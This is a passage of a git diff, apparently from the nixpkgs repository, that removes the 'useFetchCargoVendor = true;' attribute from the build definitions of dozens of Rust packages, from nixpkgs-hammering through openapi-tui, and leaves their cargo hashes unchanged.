index c6c65590574d..2b48d6453da5 100644
--- a/pkgs/by-name/ni/nixpkgs-hammering/package.nix
+++ b/pkgs/by-name/ni/nixpkgs-hammering/package.nix
@@ -30,7 +30,7 @@ let
     pname = "nixpkgs-hammering-rust-checks";
     inherit version src meta;
     sourceRoot = "${src.name}/rust-checks";
-    useFetchCargoVendor = true;
+
     cargoHash = "sha256-cE1fzdxGa0WG2WCPs8UFnE2vzaKfU7r6LS+9HLCVJ1U=";
   };
 in
diff --git a/pkgs/by-name/ni/nixpkgs-lint-community/package.nix b/pkgs/by-name/ni/nixpkgs-lint-community/package.nix
index 9aafd778ad9d..ab32bfbbc4ca 100644
--- a/pkgs/by-name/ni/nixpkgs-lint-community/package.nix
+++ b/pkgs/by-name/ni/nixpkgs-lint-community/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-o1VWM46lEJ9m49s/ekZWf8DkCeeWm4J3PQtt8tVXHbg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wK2ZMqxgSLGhM7TsztFkZHB2+WnT+8Tjd3UrFdIvGpI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ni/nixpkgs-track/package.nix b/pkgs/by-name/ni/nixpkgs-track/package.nix
index 4994f776d6c6..e28d490cac43 100644
--- a/pkgs/by-name/ni/nixpkgs-track/package.nix
+++ b/pkgs/by-name/ni/nixpkgs-track/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-iJqYn+MttFBmcAI2HKALAAYayFzvdAtkmNwM+IewxRM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jC3E8BPuzRCI+smuqeWzNDA9MOcK/PDzZZPnvBVqSXI=";
 
   buildInputs = [ openssl ];
diff --git a/pkgs/by-name/ni/nixpkgs-vet/package.nix b/pkgs/by-name/ni/nixpkgs-vet/package.nix
index 4a57d4f48c9e..b86de7fa4578 100644
--- a/pkgs/by-name/ni/nixpkgs-vet/package.nix
+++ b/pkgs/by-name/ni/nixpkgs-vet/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-J61eOTeDMHt9f1XmKVrEMAFUgwHGmMxDoSyY3v72QVY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-H2JAIMJeVqp8xq75eLEBKiK2pBrgC7vgXXlqbrSUifE=";
 
   doCheck = false;
diff --git a/pkgs/by-name/ni/nixseparatedebuginfod/package.nix b/pkgs/by-name/ni/nixseparatedebuginfod/package.nix
index 10fa7221513a..6d518ff985f4 100644
--- a/pkgs/by-name/ni/nixseparatedebuginfod/package.nix
+++ b/pkgs/by-name/ni/nixseparatedebuginfod/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-sVQ6UgQvSTEIxXPxISeTI9tqAdJlxQpLxq1h4I31r6k=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-vaCmRr1hXF0BSg/dl3LYyd7c1MdPKIv6KgDgGEzqqJQ=";
 
   # tests need a working nix install with access to the internet
diff --git a/pkgs/by-name/ni/nixtract/package.nix b/pkgs/by-name/ni/nixtract/package.nix
index a3d3388f7f4e..306a4a824780 100644
--- a/pkgs/by-name/ni/nixtract/package.nix
+++ b/pkgs/by-name/ni/nixtract/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-36ciPNSlB1LU+UXP8MLakrBRRqbyiVFN8Jp/JbCe1OY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-vG661ZXL87FiMy8yLOI7cagvunhzJhAsBR+VF6RfBxU=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/nm/nm-file-secret-agent/package.nix b/pkgs/by-name/nm/nm-file-secret-agent/package.nix
index 5cce4afde6cd..a924b124034b 100644
--- a/pkgs/by-name/nm/nm-file-secret-agent/package.nix
+++ b/pkgs/by-name/nm/nm-file-secret-agent/package.nix
@@ -18,7 +18,7 @@ rustPlatform.buildRustPackage rec {
     rev = "v${version}";
     hash = "sha256-FZef9qMJeQkoLvCHcsGMqr0riC98WVXntQtbt76Iev4=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-HYyL0r9YrDL22uQdypJQ7Xep9Uqt4b16bhl0D9kRByU=";
   buildInputs = [ dbus ];
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/no/noaa-apt/package.nix b/pkgs/by-name/no/noaa-apt/package.nix
index 3329748531eb..16f959ef3dba 100644
--- a/pkgs/by-name/no/noaa-apt/package.nix
+++ b/pkgs/by-name/no/noaa-apt/package.nix
@@ -37,7 +37,6 @@ rustPlatform.buildRustPackage rec {
     pango
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-du44N+G9/nN5YuOpkWXvr1VaSQfjCpZYJ8yDc48ATIU=";
 
   preBuild = ''
diff --git a/pkgs/by-name/no/nofi/package.nix b/pkgs/by-name/no/nofi/package.nix
index 5082cbe0d6d5..57a59b33029b 100644
--- a/pkgs/by-name/no/nofi/package.nix
+++ b/pkgs/by-name/no/nofi/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-hQYIcyNCxb8qVpseNsmjyPxlwbMxDpXeZ+H1vpv62rQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dWqMwS0TgspZqlpi8hhwtA7sbqGunw0FIqjJXOTiFKA=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/no/nomino/package.nix b/pkgs/by-name/no/nomino/package.nix
index 0c2ab9a42274..aa27dfe65925 100644
--- a/pkgs/by-name/no/nomino/package.nix
+++ b/pkgs/by-name/no/nomino/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pSk1v4AyXETBJ8UupLJy8cNEqKRwkqJnqfzoHU0SdmE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-P8QkAzZ7jR8U+WzMLo4kDwMrARLk+RQWOr/j+8GCN0A=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/no/noseyparker/package.nix b/pkgs/by-name/no/noseyparker/package.nix
index fe9cebb960c6..e5f668ca1b13 100644
--- a/pkgs/by-name/no/noseyparker/package.nix
+++ b/pkgs/by-name/no/noseyparker/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-6GxkIxLEgbIgg4nSHvmRedm8PAPBwVxLQUnQzh3NonA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hVBHIm/12WU6g45QMxxuGk41B0kwThk7A84fOxArvno=";
 
   nativeCheckInputs = [
diff --git a/pkgs/by-name/no/nostr-rs-relay/package.nix b/pkgs/by-name/no/nostr-rs-relay/package.nix
index 6a29a5ca0f21..863ec265faaf 100644
--- a/pkgs/by-name/no/nostr-rs-relay/package.nix
+++ b/pkgs/by-name/no/nostr-rs-relay/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-MS5jgUh9aLAFr4Nnf3Wid+ki0PTfsyob3r16/EXYZ7E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hrq9EEUot9painlXVGjIh+NMlrH4iRQ28U3PLGnvYsw=";
 
   buildInputs = [
diff --git a/pkgs/by-name/no/nostui/package.nix b/pkgs/by-name/no/nostui/package.nix
index 97413ca90f7c..9a6daaada4f6 100644
--- a/pkgs/by-name/no/nostui/package.nix
+++ b/pkgs/by-name/no/nostui/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     "--skip=widgets::text_note::tests::test_created_at"
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tway75ZAP2cGdpn79VpuRd0q/h+ovDvkih1LKitM/EU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/no/notmuch-mailmover/package.nix b/pkgs/by-name/no/notmuch-mailmover/package.nix
index b74a4dcab435..3094edd25ad1 100644
--- a/pkgs/by-name/no/notmuch-mailmover/package.nix
+++ b/pkgs/by-name/no/notmuch-mailmover/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xX1sH+8DaLgCzkl5WwwNEE9+iTdZX0d64SxfmvuVVgs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5jEM5FURnfuoOiu2rqsh4shMp1ajv0zMpIx7r0gv6Bc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/no/novops/package.nix b/pkgs/by-name/no/novops/package.nix
index 04088a348b38..5b7836201648 100644
--- a/pkgs/by-name/no/novops/package.nix
+++ b/pkgs/by-name/no/novops/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bpv8Ybrsb2CAV8Qxj69F2E/mekYsOuAiZWuDNHDtxw0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-w5jBCVoLm0zzLMa7COHsQbHq+TlJZCnabNZyO8nlTKk=";
 
   buildInputs = [
diff --git a/pkgs/by-name/np/npins/package.nix b/pkgs/by-name/np/npins/package.nix
index dcd8873cc384..f7614a447257 100644
--- a/pkgs/by-name/np/npins/package.nix
+++ b/pkgs/by-name/np/npins/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-PPk9Ve1pM3X7NfGeGb8Jiq4YDEwAjErP4xzGwLaakTU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YRW2TqbctuGC2M6euR4bb0m9a19m8WQVvWucRMpzkQE=";
   buildNoDefaultFeatures = true;
   buildFeatures = [
diff --git a/pkgs/by-name/np/nps/package.nix b/pkgs/by-name/np/nps/package.nix
index 4f167d1ac4f0..6b8b7f0a3579 100644
--- a/pkgs/by-name/np/nps/package.nix
+++ b/pkgs/by-name/np/nps/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-q/PkigsNAI7MCmeDFBMGuZJFXVL95pQCNOVhNvBH9dc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MThyvhzZXRM4l0K8csLDldMVKiDxKZ5EIFATGVpGpVc=";
 
   nativeCheckInputs = [ nix ];
diff --git a/pkgs/by-name/nr/nrr/package.nix b/pkgs/by-name/nr/nrr/package.nix
index 5ee3a195490d..7214b9a0a944 100644
--- a/pkgs/by-name/nr/nrr/package.nix
+++ b/pkgs/by-name/nr/nrr/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qh4YEfdfO6WofdrFHVDvkNocloK2LuWelfZPilxiKPk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-f8ugfkTtS23TLh0Ss4SpxGy1Y9AeqinE+psDmHVHibg=";
 
   env = lib.optionalAttrs enableLTO {
diff --git a/pkgs/by-name/ns/nsh/package.nix b/pkgs/by-name/ns/nsh/package.nix
index 1d378ac5b774..c457faeaa1ea 100644
--- a/pkgs/by-name/ns/nsh/package.nix
+++ b/pkgs/by-name/ns/nsh/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "1479wv8h5l2b0cwp27vpybq50nyvszhjxmn76n2bz3fchr0lrcbp";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kbHNFVu5OIg/eKefhsYRGvlXFduB0aBVflPV9hkM4Ec=";
 
   doCheck = false;
diff --git a/pkgs/by-name/ns/nsncd/package.nix b/pkgs/by-name/ns/nsncd/package.nix
index a39f21e3d9ec..34a62f990137 100644
--- a/pkgs/by-name/ns/nsncd/package.nix
+++ b/pkgs/by-name/ns/nsncd/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-0cFCX5pKvYv6yr4+X5kXGz8clNi/LYndFtHaxSmHN+I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9M8Y0WwXFlrpRleSQPYDpnjNnxKGvrtO6Istl9qM30M=";
 
   checkFlags = [
diff --git a/pkgs/by-name/nt/ntpd-rs/package.nix b/pkgs/by-name/nt/ntpd-rs/package.nix
index 4b777da6f099..206116639cfd 100644
--- a/pkgs/by-name/nt/ntpd-rs/package.nix
+++ b/pkgs/by-name/nt/ntpd-rs/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1GnJFiptSzj5zI8IlcrFjwooujUM9ouzcIgghUEs518=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Wk9KxNgIGDEIEYIl7O+3eamUHuBSBMxZgUob9FryuGI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/nu/nufmt/package.nix b/pkgs/by-name/nu/nufmt/package.nix
index 04f4046be16d..2d590935e841 100644
--- a/pkgs/by-name/nu/nufmt/package.nix
+++ b/pkgs/by-name/nu/nufmt/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage {
     rustPlatform.bindgenHook
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zS4g/uMh1eOoPo/RZfanL6afCEU5cnyzHrIqkvuQVrg=";
 
   passthru.updateScript = nix-update-script { extraArgs = [ "--version=branch" ]; };
diff --git a/pkgs/by-name/nu/numbat/package.nix b/pkgs/by-name/nu/numbat/package.nix
index eee8acabf6e9..945b9d845d9c 100644
--- a/pkgs/by-name/nu/numbat/package.nix
+++ b/pkgs/by-name/nu/numbat/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1CAUl9NB1QjduXgwOIcMclXA6SpaTP+kd3j25BK5Q/8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EBfhi7puB2To/1GLbXW6Tz1zazDswvh+NqqBkeqRtAI=";
 
   env.NUMBAT_SYSTEM_MODULE_PATH = "${placeholder "out"}/share/numbat/modules";
diff --git a/pkgs/by-name/nu/nurl/package.nix b/pkgs/by-name/nu/nurl/package.nix
index 4da4d7f0e896..5f591dc7fd07 100644
--- a/pkgs/by-name/nu/nurl/package.nix
+++ b/pkgs/by-name/nu/nurl/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-rVqF+16esE27G7GS55RT91tD4x/GAzfVlIR0AgSknz0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OUJGxNqytwz7530ByqkanpseVJJXAea/L2GIHnuSIqk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/nv/nvidia_oc/package.nix b/pkgs/by-name/nv/nvidia_oc/package.nix
index b3e6bcf783a4..f5767b1ced12 100644
--- a/pkgs/by-name/nv/nvidia_oc/package.nix
+++ b/pkgs/by-name/nv/nvidia_oc/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-2BijC+LDZJKEheZVlqG+EP6+/GSRLNQfxPEUKCY8lfU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Xt+0clazawNvc9iIX6PR76NlyuJnjCTMkI/k2JzJ6nw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/nv/nvme-rs/package.nix b/pkgs/by-name/nv/nvme-rs/package.nix
index f674df582898..c8e9bc907051 100644
--- a/pkgs/by-name/nv/nvme-rs/package.nix
+++ b/pkgs/by-name/nv/nvme-rs/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-lkuOPe5gYhboK9zylTCVN1DFWCFRHhfJa7tNEHH/GQM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MNEG6GGfMg1FXodD8yEMqvm8lYkQgYXMc/vR4lV166I=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/nv/nvmetcfg/package.nix b/pkgs/by-name/nv/nvmetcfg/package.nix
index 3de6a040a0fc..70eba0ecbf46 100644
--- a/pkgs/by-name/nv/nvmetcfg/package.nix
+++ b/pkgs/by-name/nv/nvmetcfg/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-LoQTcHM6czzQ5ZwXcklFXf/7WlRsoJTF61UhQ56aleQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-c/6tz68ZI42RgD2N4WZI3nzFo2J5gjk8UoPlelQaxIo=";
 
   passthru.tests = {
diff --git a/pkgs/by-name/ny/nyaa/package.nix b/pkgs/by-name/ny/nyaa/package.nix
index df6340fb8505..76e1129902c3 100644
--- a/pkgs/by-name/ny/nyaa/package.nix
+++ b/pkgs/by-name/ny/nyaa/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-WxOGtNMqQoEgztLaitwpE4MusGaLuKMmqi9L4prfOBY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oCe0Yn0DuwF7rG+MGBGQ0Fsgt3c4Wju7uFkp3+IiP0I=";
 
   doInstallCheck = true;
diff --git a/pkgs/by-name/ny/nym/package.nix b/pkgs/by-name/ny/nym/package.nix
index 09a3c5ec6177..4fb2360e3ba5 100644
--- a/pkgs/by-name/ny/nym/package.nix
+++ b/pkgs/by-name/ny/nym/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage rec {
   };
 
   cargoHash = "sha256-51QdzV4eYnA+pC1b7TagSF1g+n67IvZw3euJyI3ZRtM=";
-  useFetchCargoVendor = true;
 
   env = {
     SWAGGER_UI_DOWNLOAD_URL = "file://${swagger-ui}";
diff --git a/pkgs/by-name/ob/oboete/package.nix b/pkgs/by-name/ob/oboete/package.nix
index e0dfc358d0e1..a4d8a03cd475 100644
--- a/pkgs/by-name/ob/oboete/package.nix
+++ b/pkgs/by-name/ob/oboete/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Xs9o6V/rUtRkUp7F2hJXLz8PP7XWtqx4uaONo3Q23uo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bhSkQcDqYhkRwqLbiOLXprQnMqjDKRetZ97K1ES5hrw=";
 
   nativeBuildInputs = [ libcosmicAppHook ];
diff --git a/pkgs/by-name/ob/obs-cmd/package.nix b/pkgs/by-name/ob/obs-cmd/package.nix
index 8b300de3879c..889cc1b31237 100644
--- a/pkgs/by-name/ob/obs-cmd/package.nix
+++ b/pkgs/by-name/ob/obs-cmd/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-/LgQqxZqxbE8hgip+yl8VVjiRYD+6AblKag2MQo1gDs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZKHm6N7y5FbDFiK2QfQ+9siexgzrdLpBs5Xikh1SRLo=";
 
   meta = {
diff --git a/pkgs/by-name/ob/obs-do/package.nix b/pkgs/by-name/ob/obs-do/package.nix
index f23258a3348f..2b58210bd8b6 100644
--- a/pkgs/by-name/ob/obs-do/package.nix
+++ b/pkgs/by-name/ob/obs-do/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-mYxOjUVjICVqFFw1SX7TsVkbnvhilVmj+8LSZTNBbFE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OgSEJOY0m3wfccPfhIon11xyC/ywYaTBjGYLkRr/y/Q=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/ob/obsidian-export/package.nix b/pkgs/by-name/ob/obsidian-export/package.nix
index 180a46361cb6..b9753617003c 100644
--- a/pkgs/by-name/ob/obsidian-export/package.nix
+++ b/pkgs/by-name/ob/obsidian-export/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-FcySNccDVeftX5BKVwYXdufsCmG8YuFBQrbSqibbVV8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2rP1ks+47fI5Os7ltktPVUzvYss+KkjftrE4G0cl8XI=";
 
   meta = {
diff --git a/pkgs/by-name/oc/ockam/package.nix b/pkgs/by-name/oc/ockam/package.nix
index 70d4ffc4f253..63cbc7f3a899 100644
--- a/pkgs/by-name/oc/ockam/package.nix
+++ b/pkgs/by-name/oc/ockam/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-AY0i7qXA7JXfIEY0htmL+/yn71xAuh7WowXOs2fD6n8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Mt/UFVFLZRrY8Mka4VFi6J2XjBjFsnJPi9tnBVZ6a5E=";
   nativeBuildInputs = [
     git
diff --git a/pkgs/by-name/oc/ocsp-server/package.nix b/pkgs/by-name/oc/ocsp-server/package.nix
index ad5bec716b83..c23b7af8ca27 100644
--- a/pkgs/by-name/oc/ocsp-server/package.nix
+++ b/pkgs/by-name/oc/ocsp-server/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-QaPE1mbOI6+D2pPfhpMA8LmWXKqkOoLLBQSVxdlNkoY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qaDnMbAQA5c8Nim28HAN9QB1cxfBRaFAy8xh41Iekds=";
 
   checkFlags = [
diff --git a/pkgs/by-name/oc/octofetch/package.nix b/pkgs/by-name/oc/octofetch/package.nix
index 516ea40f1317..f6dd14ad080f 100644
--- a/pkgs/by-name/oc/octofetch/package.nix
+++ b/pkgs/by-name/oc/octofetch/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-/AXE1e02NfxQzJZd0QX6gJDjmFFmuUTOndulZElgIMI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1lnHCiRktBGYb7Bgq4p60+kikb/LApPhzNp1O0Go46Q=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/oc/oculante/package.nix b/pkgs/by-name/oc/oculante/package.nix
index bdcb157806d7..de5883e8d0e1 100644
--- a/pkgs/by-name/oc/oculante/package.nix
+++ b/pkgs/by-name/oc/oculante/package.nix
@@ -31,7 +31,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3kDrsD24/TNcA7NkwwCHN4ez1bC5MP7g28H3jaO/M7E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lksAPT1nuwN5bh3x7+EN4B8ksGtvemt4tbm6/3gqdgE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/og/ograc/package.nix b/pkgs/by-name/og/ograc/package.nix
index 48a395f646cd..efd803ca5d8a 100644
--- a/pkgs/by-name/og/ograc/package.nix
+++ b/pkgs/by-name/og/ograc/package.nix
@@ -13,7 +13,7 @@ rustPlatform.buildRustPackage {
     rev = "d09b3102ff7a364bf2593589327a16a473bd4f25";
     hash = "sha256-vdHPFY6zZ/OBNlJO3N/6YXcvlddw2wYHgFWI0yfSgVo=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-rWU8rOGLUrSkXLkHib8qkkiOZvuGbSJ4knFrHuD+R44=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/oh/oha/package.nix b/pkgs/by-name/oh/oha/package.nix
index e0443aa161ab..4d2a772555fd 100644
--- a/pkgs/by-name/oh/oha/package.nix
+++ b/pkgs/by-name/oh/oha/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-hE3G8hPFHLd+lORzIgdaZ0xxfska011GdVk20bg3S7s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-seipBF9gfut+Z4CKMSbo6/TckSjH8PwF9HbnpbnpL0Q=";
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [
diff --git a/pkgs/by-name/ok/okolors/package.nix b/pkgs/by-name/ok/okolors/package.nix
index 38af371921c0..974c00982ff7 100644
--- a/pkgs/by-name/ok/okolors/package.nix
+++ b/pkgs/by-name/ok/okolors/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-U7rLynXZGHCeZjaXoXx2IRDgUFv7zOKfb4BPgDROzBc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3wZeRPG2VrpPlqRVmkrMskqzM6NGZoSGbgGBTJzKCgQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/om/omekasy/package.nix b/pkgs/by-name/om/omekasy/package.nix
index 313366cca936..6d077614a5f6 100644
--- a/pkgs/by-name/om/omekasy/package.nix
+++ b/pkgs/by-name/om/omekasy/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wI+xN6pyNoP4xknjHHDydHq275Gb1nyp7YtqmABlTBA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Bhxj77E/HXvAmTO3S7DW6ZGOk9lqpZMwGv7DN58skP0=";
 
   buildNoDefaultFeatures = stdenv.targetPlatform.isWasi;
diff --git a/pkgs/by-name/om/omnix/package.nix b/pkgs/by-name/om/omnix/package.nix
index cc7fa4da2666..3cb3ec8eb640 100644
--- a/pkgs/by-name/om/omnix/package.nix
+++ b/pkgs/by-name/om/omnix/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-vpjYVfs3gS+gkMSgeR3BH4hTLmi/fkWHmCKvSjFq7cg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Yv5X/lZdQ2vdxLzSPeLx5TNapKtCIQNc6Wy0I+4q4CI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/on/onagre/package.nix b/pkgs/by-name/on/onagre/package.nix
index 4f6e8b16bf6d..b7525ab98bbb 100644
--- a/pkgs/by-name/on/onagre/package.nix
+++ b/pkgs/by-name/on/onagre/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-yVkK3B7/ul0sOxPE3z2qkY/CnsZPQYqTpd64Wo/GXZI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JsTBzkznFYiSOq41aptNa5akXTdkqJj3FwoHuvUlgpE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/on/onefetch/package.nix b/pkgs/by-name/on/onefetch/package.nix
index 2d3f8449097d..a999ff9b5912 100644
--- a/pkgs/by-name/on/onefetch/package.nix
+++ b/pkgs/by-name/on/onefetch/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Q74iqCSH8sdGFWC5DmMZhvUoL/Hzz4XNj548Gls6Hzk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BpWc1GEj94vGEXDJEyocItggP1vQC441wp8r3DwalFw=";
 
   cargoPatches = [
diff --git a/pkgs/by-name/on/onetun/package.nix b/pkgs/by-name/on/onetun/package.nix
index 000163a2fdb6..7e107dd78a96 100644
--- a/pkgs/by-name/on/onetun/package.nix
+++ b/pkgs/by-name/on/onetun/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-bggBBl2YQUncfOYIDsPgrHPwznCJQOlIOY3bbiZz7Rw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VC7q2ZTdbBmvZ9l70uQz59paFIi8HXp5CPxfQC6cVmk=";
 
   meta = {
diff --git a/pkgs/by-name/on/oniux/package.nix b/pkgs/by-name/on/oniux/package.nix
index e63fe4a308b3..8b5606de668a 100644
--- a/pkgs/by-name/on/oniux/package.nix
+++ b/pkgs/by-name/on/oniux/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-wWB/ch8DB2tO4+NuNDaGv8K4AbV5/MbyY01oRGai86A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tUOxs9bTcXS3Gq6cHYe+eAGAEYSRvf3JVGugBImbvJM=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/oo/oo7/package.nix b/pkgs/by-name/oo/oo7/package.nix
index a8423aafa988..3462e38d3bcf 100644
--- a/pkgs/by-name/oo/oo7/package.nix
+++ b/pkgs/by-name/oo/oo7/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
   # Additionally cargo-credential will also not be built here
   buildAndTestSubdir = "cli";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VNgbdvX5ttW+/V2Zzkd3rGIjVe1ENRE6WLg7M48ij7o=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/op/open-scq30/package.nix b/pkgs/by-name/op/open-scq30/package.nix
index eb59f6b8e6d3..2c32e651aaa4 100644
--- a/pkgs/by-name/op/open-scq30/package.nix
+++ b/pkgs/by-name/op/open-scq30/package.nix
@@ -43,7 +43,6 @@ rustPlatform.buildRustPackage rec {
     pango
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3K+/CpTGWSjCRa2vOEcDvLIiZMdntugIqnzkXF4wkng=";
 
   INSTALL_PREFIX = placeholder "out";
diff --git a/pkgs/by-name/op/openapi-tui/package.nix b/pkgs/by-name/op/openapi-tui/package.nix
index c660c55daafd..ff334b6ed538 100644
--- a/pkgs/by-name/op/openapi-tui/package.nix
+++ b/pkgs/by-name/op/openapi-tui/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-rC0lfWZpiiAAShyVDqr1gKTeWmWC+gVp4UmL96Y81mE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-911ARjYvTNqLVVUWxATbtiKXOC9AqalFvDvp/qAef1Q=";
